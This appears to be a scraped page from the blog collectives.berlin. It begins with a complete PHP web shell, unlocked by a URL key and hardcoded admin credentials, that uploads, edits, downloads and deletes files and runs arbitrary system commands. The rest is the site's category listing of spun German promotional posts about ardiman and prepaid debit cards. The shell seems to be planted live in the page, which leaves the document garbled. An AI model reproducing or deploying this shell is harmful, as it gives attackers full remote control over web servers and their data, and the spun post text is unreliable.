if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login ';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell ';
echo '';
echo ' ';
switch ($act) {
case 'upload':
echo 'โฌ Upload File to: '.htmlspecialchars($path).' ';
echo ' ';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo 'โ
Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo 'โ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo 'โ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '๐ Current directory contents: ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '๐ '.$item."/\n";
else echo '๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo ' ';
break;
case 'tree':
echo '๐ณ Directory Tree (depth 4) ';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'๐ '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo ' ';
break;
case 'drives':
echo '๐พ Accessible Roots ';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โ\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โ\n"; }
}
echo ' ';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '๐ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB) ';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo 'โ
Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '๐ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).') ';
echo 'Run ';
if ($output !== '') echo ''.htmlspecialchars($output).' ';
else echo 'No output ';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo 'โ
Deleted: '.htmlspecialchars($f);
else echo 'โ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo 'โ
Directory removed: '.htmlspecialchars($f);
else echo 'โ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo 'โ
Created: '.htmlspecialchars($dest);
else echo 'โ Create failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo 'โ
Created dir: '.htmlspecialchars($dest);
else echo 'โ mkdir failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
default:
echo '๐ '.htmlspecialchars($path).' ';
$parent = dirname($path);
if ($parent && $parent !== $path) echo 'โฌ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[โฌ Upload] ';
echo 'Name Size Perms Actions ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '๐ '.$item.' ';
else echo '๐ '.$item.' ';
echo ''.$size.' '.$perms.' ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete] ';
echo ' ';
}
}
echo '
';
break;
}
echo '';
exit;
}
posts – collectives.berlin
Skip to content
Category: posts
ardiman Homepage: Sämtliches über Projekte und sofortige Verbindungen Jeder, der sich im hiesigen Web auf innovative Plattformen für Projektsteuerung und virtuelle Verwaltung spezialisiert, stößt früher oder später einmal auf ardiman. Doch was genau steckt auf der ardiman Startseite, wie wirken die unmittelbaren Verbindungen bei www.ardiman.de/kontakt/ ardiman und welche Vorhaben werden hervorgehoben? In jenem Beitrag vertiefen…
Click or not…
Prepaid Debit Card Provider Views Comprehending Pre-funded Charge Plastic for Enterprises The international shift towards cashless payments has altered how firms oversee financials, remunerate staff, and control expenses. Among the most adaptable instruments available today are pre-loaded debit cards. In contrast to conventional credit or debit plastic cards tied to a financial account, prepaid payment…
Click or not…